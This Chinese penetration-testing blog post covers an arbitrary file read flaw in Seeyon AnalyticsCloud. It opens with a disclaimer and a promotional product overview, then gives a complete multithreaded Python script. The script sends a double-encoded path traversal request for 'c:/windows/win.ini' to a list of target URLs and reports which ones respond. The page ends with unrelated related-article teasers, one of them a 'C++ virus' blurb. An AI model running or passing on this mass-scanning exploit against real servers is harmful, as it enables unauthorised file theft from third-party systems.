#渗透测试#批量漏洞挖掘#致远互联AnalyticsCloud 分析云 任意文件读取
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
一、产品核心定位
二、技术架构特性
三、典型应用场景
四、服务支持体系
五、漏洞POC
一、产品核心定位
1. **全链路服务**:覆盖「数据采集→清洗加工→智能建模→可视化呈现」完整分析流程 2. **行业适配性**:已积累制造/零售/金融等8大行业分析模板库 3. **协同生态**:与致远协同办公平台实现「业务数据→分析洞察→决策执行」闭环二、技术架构特性
<architecture><layer name="数据接入"><feature>支持API/数据库/物联网等12种接入方式</feature><feature>每日亿级数据实时接入能力</feature></layer><layer name="计算引擎"><feature>分布式内存计算(响应速度<3s/千万级数据)</feature><feature>内置50+行业分析算法模型</feature></layer><layer name="安全体系"><feature>通过等保三级认证</feature><feature>支持国密SM4数据加密</feature></layer> </architecture>三、典型应用场景
场景类型 实现功能 客户案例 生产优化 设备OEE分析 → 产能预测 某汽车厂商提升设备利用率17% 营销洞察 客户画像构建 → 精准推荐 连锁零售企业转化率提升23% 风险管控 实时交易监测 → 异常预警 金融机构减少欺诈损失3.6亿元 四、服务支持体系
- 部署模式:
- 公有云(阿里云/腾讯云专区)
- 混合云(支持本地Hadoop集群对接)
- 培训资源:
- 在线学习平台(500+课时)
- 认证分析师培养计划
- 安全响应:
- 7×24小时安全运维中心
- 月度漏洞扫描报告服务
五、漏洞POC
#!/usr/bin/env python # -*- coding: utf-8 -*- import argparse import concurrent.futures from typing import List, Optional from urllib.parse import urlparse import requests from requests.exceptions import RequestException from urllib3.exceptions import InsecureRequestWarning # 禁用SSL警告 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class VulnerabilityScanner:"""致远互联AnalyticsCloud 分析云漏洞扫描器"""# 配置常量 TARGET_FILE = "c:/windows/win.ini" EXPECTED_CONTENT = "fonts"USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15"TIMEOUT = 30 MAX_WORKERS = 10 # 最大并发线程数 def __init__(self):self.session = requests.Session()self.session.headers.update({'User-Agent': self.USER_AGENT})self.session.verify = False def _construct_url(self, base_url: str) -> str:"""构造漏洞检测URL"""return f"{base_url.rstrip('/')}/.%252e/.%252e/{self.TARGET_FILE}" def _validate_url(self, url: str) -> str:"""验证并标准化URL格式"""parsed = urlparse(url)if not parsed.scheme: return f"http://{url}"return url def check_vulnerability(self, url: str) -> bool:"""检测单个URL是否存在漏洞"""try:target_url = self._construct_url(url)response = self.session.get( target_url, timeout=self.TIMEOUT,allow_redirects=False )return (response.status_code == 200 and self.EXPECTED_CONTENT in response.text )except RequestException as e:print(f"[!] 请求失败: {url} - {str(e)}")return False def scan_urls(self, urls: List[str]):"""批量扫描URL列表"""with concurrent.futures.ThreadPoolExecutor(max_workers=self.MAX_WORKERS) as executor:futures = {executor.submit(self.check_vulnerability, url): url for url in urls}for future in concurrent.futures.as_completed(futures): url = futures[future]try:vulnerable = future.result() self._print_result(url, vulnerable)except Exception as e:print(f"[!] 扫描异常: {url} - {str(e)}")@staticmethod def _print_result(url: str, vulnerable: bool):"""格式化输出结果"""RED = '\033[91m'GREEN = '\033[92m'RESET = '\033[0m'status = f"{RED}存在漏洞{RESET}" if vulnerable else f"{GREEN}安全{RESET}"print(f"URL [{url}] - {status}")def main():parser = argparse.ArgumentParser(description='致远互联AnalyticsCloud 分析云漏洞扫描工具',formatter_class=argparse.ArgumentDefaultsHelpFormatter )parser.add_argument('-u', '--url', help='目标URL地址')parser.add_argument('-f', '--file', help='包含多个URL的文件路径')parser.add_argument('-t', '--threads', type=int, default=10,help='并发线程数')args = parser.parse_args() scanner = VulnerabilityScanner()scanner.MAX_WORKERS = args.threads urls = []if args.url: urls.append(scanner._validate_url(args.url)) elif args.file: with open(args.file, 'r') as f:urls = [scanner._validate_url(line.strip()) for line in f if line.strip()] if urls:scanner.scan_urls(urls) else:parser.print_help() if __name__ == '__main__':main()
相关文章:
#渗透测试#批量漏洞挖掘#致远互联AnalyticsCloud 分析云 任意文件读取
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...
统计安卓帧率和内存
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class AnalysisTool : MonoBehaviour { private void Awake() { DontDestroyOnLoad(gameObject); } public Text mmText; // 用于显示FPS的UI …...
大数据学习之PB级百战出行网约车二
21.订单监控_Redis工具类 package com . itbaizhan . utils ; import redis . clients . jedis . Jedis ; import redis . clients . jedis . JedisPool ; import redis . clients . jedis . JedisPoolConfig ; /** * 操作 redis 数据库 62 */ public class Redis…...
C语言第18节:自定义类型——联合和枚举
1. 联合体 C语言中的联合体(Union)是一种数据结构,它允许在同一内存位置存储不同类型的数据。不同于结构体(struct),结构体的成员各自占有独立的内存空间,而联合体的所有成员共享同一块内存区域…...
C++病毒(^_^|)(2)
第二期 声明: 仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。 直接上代码 #include <bits/stdc.h> #include <windows.h> using namespace std; HHOOK g_hHook;void lrud(…...
在vscode中拉取gitee里的项目并运行
拉取项目: 方法一:vscode点击查看--->终端(或者直接通过快捷键ctrol+ `打开) 在终端内通过cd命令定位到你想存放项目的文件夹 例如:cd h: 通过命令:git clone 地址 例如:git clone newbee-mall-vue-app: 前端代码 等待拉取完成即可在对应文件夹下看到项目啦 方…...
centos7 防火墙开放指定端口
在 CentOS 7 中,默认的防火墙管理工具是 firewalld。如果你想开放一个特定的端口,以便允许外部访问,可以通过以下步骤实现: 安装 firewalld 如果你的系统上还没有安装 firewalld,你可以通过以下命令安装: …...
Day42(补)【AI思考】-编译过程中语法分析及递归子程序分析法的系统性解析
文章目录 编译过程中语法分析及递归子程序分析法的系统性解析**一、总览:编译流程中的语法分析****1. 编译过程核心步骤** **二、语法分析的核心任务****1. 核心目标****2. 现实类比** **三、递归子程序分析法的本质****1. 方法分类****2. 递归子程序分析法的运作原…...
AI成为基础设施有哪些研究方向:模型的性能、可解释性,算法偏见
AI成为基础设施有哪些研究方向 模型的性能、可解释性和降低训练成本 伦理问题:算法偏见、数据隐私保护、人工智能的权利和责任 数据使用问题:公开数据已经使用完了,未来使用隐私数据(专家) 当AI成为基础设施后,研究方向将更加多元化和深入,涵盖技术创新、应用拓展、…...
写一个鼠标拖尾特效
思路和逻辑 要实现鼠标拖尾特效,我们需要: 监听鼠标移动事件,获取鼠标的当前位置。在每次鼠标移动时,绘制一个小圆点或其他形状在鼠标的当前位置。将所有绘制的圆点连接起来,形成一条“尾巴”。使用动画效果让尾巴看…...
Redisson介绍和入门使用
一、什么是Redisson? Redisson是一个在Redis的基础上实现的Java驻内存数据网格(In-Memory Data Grid)。它不仅提供了一系列的分布式的Java常用对象,还提供了许多分布式服务,其中就包含了各种分布式锁的实现。 官网地址…...
OpenAI推出全新AI助手“Operator”:让人工智能帮你做事的新时代!
引言 随着人工智能技术的不断发展,OpenAI 再次推出令人兴奋的功能——Operator,一个全新的 AI 助手平台。这不仅仅是一个普通的助手,它代表了人工智能技术的又一次飞跃,将改变我们工作和生活的方式。 什么是“Operator”ÿ…...
Python----PyQt开发(PyQt基础,环境搭建,Pycharm中PyQttools工具配置,第一个PyQt程序)
一、QT与PyQT的概念和特点 1.1、QT QT是一个1991年由The Qt Company开发的跨平台C图形用户界面应用程序开发 框架,可构建高性能的桌面、移动及Web应用程序。也可用于开发非GUI程序,比如 控制台工具和服务器。Qt是面向对象的框架,使用特殊的代…...
算法笔记 02 —— 入门模拟
本系列为胡凡编著的算法笔记当中代码部分的精简版整理,笔者也在同时准备Leetcode刷题和实习面试,希望为有一定编码和数据结构基础的同学提供一份系统型的参考,以方便遗忘时的算法查阅、期末复习总览以及C学习参照。 目录 01 简单模拟 Ⅰ害…...
PyTorch 源码学习:从 Tensor 到 Storage
分享自己在学习 PyTorch 源码时阅读过的资料。本文重点关注 PyTorch 的核心数据结构 Tensor 的设计与实现。因为 PyTorch 不同版本的源码实现有所不同,所以笔者在整理资料时尽可能按版本号升序,版本号见标题前[]。最新版本的源码实现还请查看 PyTorch 仓…...
uniapp 使用 鸿蒙开源字体
uniapp vue3 使用 鸿蒙开源字体 我的需求是全局使用鸿蒙字体。 所以: 0. 首先下载鸿蒙字体: 鸿蒙资源 下载后解压,发现里面有几个文件夹: 字体名称说明Sans默认的鸿蒙字体,支持基本的多语言字符(包括字…...
LabVIEW多电机CANopen同步
核心问题与解决方案 通信层配置 节点ID与波特率冲突问题:在多电机系统中,节点ID重复或波特率不匹配常导致通信中断或数据丢失。案例:某3轴贴片机因步科驱动器的默认节点ID均为1,触发了总线仲裁错误。解决方案:通过配置…...
每日定投40刀BTC(2)20250209 - 20250212
行路吟 青山叠叠水迢迢, 步履虽艰志未消。 莫问前程几多苦, 长风破浪自逍遥。...
【LeetCode Hot100 子串】和为 k 的子数组、滑动窗口最大值、最小覆盖子串
子串 1. 和为 k 的子数组题目描述解题思路主要思路步骤 时间复杂度与空间复杂度代码实现 2. 滑动窗口最大值题目描述解题思路双端队列的原理:优化步骤: Java实现 3. 最小覆盖子串题目描述解题思路滑动窗口的基本思路:具体步骤:算法…...
某虚拟页式存储管理系统中有一个程序占8个页面,运行时访问页面的顺序是1,2,3,4,5,3,4,1,6,7,8,7,8,5。假设刚开始内存没有预装入任何页面。
某虚拟页式存储管理系统中有一个程序占8个页面,运行时访问页面的顺序是1,2,3,4,5,3,4,1,6,7,8,7,8,5。假设刚开始内存没有预装入任何页面。 (1) 如果采用LRU调度算法,该程序在得到4块内存空间时,会产生多少次缺页中断?请给出详细…...
css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...
《Playwright:微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络,将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具,支持 Chrome、Firefox、Safari 等主流浏览器,提供多语言 API(Python、JavaScript、Java、.NET)。它的特点包括&a…...
(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
